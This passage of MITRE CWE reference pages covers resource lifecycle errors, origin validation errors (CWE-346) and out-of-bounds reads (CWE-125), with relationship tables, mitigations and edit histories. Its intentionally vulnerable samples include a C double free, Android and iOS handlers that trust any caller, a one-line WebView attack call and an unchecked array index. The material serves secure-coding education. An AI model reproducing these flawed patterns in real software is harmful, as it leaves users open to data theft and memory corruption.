A resource's lifecycle includes several phases: initialization, use, and release. For each phase, it is important to follow the specifications outlined for how to operate on the resource and to ensure that the resource is in the expected phase. Otherwise, if a resource is in one phase but the operation is not valid for that phase (i.e., an incorrect phase of the resource's lifetime), then this can produce resultant weaknesses. For example, using a resource before it has been fully initialized could cause corruption or incorrect data to be used.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.415Double Free
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.593Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.605Multiple Binds to the Same Port
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.826Premature Release of Resource During Expected Lifetime
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Demonstrative Examples

Example 1

The following code shows a simple example of a double free vulnerability.

(bad code)
Example Language:
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
free(ptr);
}
...
free(ptr);

Double free vulnerabilities have two common (and sometimes overlapping) causes:

  • Error conditions and other exceptional circumstances
  • Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

+ Observed Examples
ReferenceDescription
Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415).
+ Potential Mitigations

Phase: Architecture and Design

Follow the resource's lifecycle from creation to release.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.984SFP Secondary Cluster: Life Cycle
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingFIO46-CCWE More AbstractDo not access a closed file
CERT C Secure CodingMEM30-CCWE More AbstractDo not access freed memory
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Mapping_Notes

CWE-346: Origin Validation Error

Weakness ID: 346
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly verify that the source of data or communication is valid.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.940Improper Verification of Source of a Communication Channel
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.1385Missing Origin Validation in WebSockets
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.451User Interface (UI) Misrepresentation of Critical Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1214Data Integrity Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.417Communication Channel Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1014Identify Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Other

Technical Impact: Gain Privileges or Assume Identity; Varies by Context

An attacker can access any functionality that is inadvertently accessible to the source.
+ Demonstrative Examples

Example 1

This Android application will remove a user account when it receives an intent to do so:

(bad code)
Example Language: Java 
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);

public class DeleteReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
int userID = intent.getIntExtra("userID");
destroyUserData(userID);
}
}

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.

Example 2

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

(bad code)
Example Language: Java 
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
writeDataToView(view, UserData);
return false;
}
else{
return true;
}
}
}
(bad code)
Example Language: Objective-C 
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UIWebViewNavigationType)exNavigationType
{
NSURL *URL = [exRequest URL];
if ([[URL scheme] isEqualToString:@"exampleScheme"])
{
NSString *functionString = [URL resourceSpecifier];
if ([functionString hasPrefix:@"specialFunction"])
{

// Make data available back in webview.
UIWebView *webView = [self writeDataToView:[URL query]];
}
return NO;
}
return YES;
}

A call into native code can then be initiated by passing parameters within the URL:

(attack code)
Example Language: JavaScript 
window.location = examplescheme://method?parameter=value

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

+ Observed Examples
ReferenceDescription
DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
DNS server caches glue records received from non-delegated name servers
user ID obtained from untrusted source (URL)
LDAP service does not verify if a particular attribute was set by the LDAP server
product does not sufficiently distinguish external HTML from internal, potentially dangerous HTML, allowing bypass using special strings in the page title. Overlaps special elements.
product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.949SFP Secondary Cluster: Faulty Endpoint Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1382ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Terminology

The "Origin Validation Error" term was originally used in a 1995 thesis [REF-324]. Although not formally defined, an issue is considered to be an origin validation error if either (1) "an object [accepts] input from an unauthorized subject," or (2) "the system [fails] to properly or completely authenticate a subject." A later section says that an origin validation error can occur when the system (1) "does not properly authenticate a user or process" or (2) "does not properly authenticate the shared data or libraries." The only example provided in the thesis (covered by OSVDB:57615) involves a setuid program running command-line arguments without dropping privileges. So, this definition (and its examples in the thesis) effectively cover other weaknesses such as CWE-287 (Improper Authentication), CWE-285 (Improper Authorization), and CWE-250 (Execution with Unnecessary Privileges). There appears to be little usage of this term today, except in the SecurityFocus vulnerability database, where the term is used for a variety of issues, including web-browser problems that allow violation of the Same Origin Policy and improper validation of the source of an incoming message.

Maintenance

This entry has some significant overlap with other CWE entries and may need some clarification. See terminology notes.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROrigin Validation Error
ISA/IEC 62443Part 3-3Req SR 2.12 RE(1)
ISA/IEC 62443Part 4-1Req SD-1
ISA/IEC 62443Part 4-1Req SR-2
ISA/IEC 62443Part 4-1Req SVV-1
ISA/IEC 62443Part 4-2Req CR 2.12 RE(1)
ISA/IEC 62443Part 4-2Req CR 3.1 RE(1)
+ References
[REF-324] Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995-08-01. <http://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-02-18CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Maintenance_Notes, References, Relationship_Notes, Relationships, Terminology_Notes
2014-06-23CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples, Terminology_Notes
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Type
2023-04-27CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Taxonomy_Mappings

CWE-125: Out-of-bounds Read

Weakness ID: 125
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product reads data past the end, or before the beginning, of the intended buffer.
+ Extended Description
Typically, this can allow attackers to read sensitive information from other memory locations or cause a crash. A crash can occur when the code reads a variable amount of data and assumes that a sentinel exists to stop the read operation, such as a NUL in a string. The expected sentinel might not be located in the out-of-bounds memory, causing excessive data to be read, leading to a segmentation fault or a buffer overflow. The product may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent read operation then produces undefined or unexpected results.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.126Buffer Over-read
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.127Buffer Under-read
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.822Untrusted Pointer Dereference
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.823Use of Out-of-range Pointer Offset
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.824Access of Uninitialized Pointer
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1218Memory Buffer Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Memory

Confidentiality

Technical Impact: Bypass Protection Mechanism

By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.
+ Demonstrative Examples

Example 1

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

(bad code)
Example Language:
int getValueFromArray(int *array, int len, int index) {

int value;

// check that the array index is less than the maximum

// length of the array
if (index < len) {

// get the value at the specified index of the array
value = array[index];
}
// if array index is invalid then output error message

// and return value indicating error
else {
printf("Value is: %d\n", array[index]);
value = -1;
}

return value;
}

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

(good code)
Example Language:

...

// check that the array index is within the correct

// range of values for the array
if (index >= 0 && index < len) {

...
+ Observed Examples
ReferenceDescription
Out-of-bounds read in IP stack used in embedded systems, as exploited in the wild per CISA KEV.
Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.
HTML conversion package has a buffer under-read, allowing a crash
Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125)
Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).
Chain: series of floating-point precision errors (CWE-1339) in a web browser rendering engine causes out-of-bounds read (CWE-125), giving access to cross-origin data
out-of-bounds read due to improper length check
packet with large number of specified elements cause out-of-bounds read.
packet with large number of specified elements cause out-of-bounds read.
out-of-bounds read, resultant from integer underflow
large length value causes out-of-bounds read
malformed image causes out-of-bounds read
OS kernel trusts userland-supplied length value, allowing reading of sensitive information
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.

Phase: Architecture and Design

Strategy: Language Selection

Use a language that provides appropriate memory abstractions.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1157SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1160SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1161SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
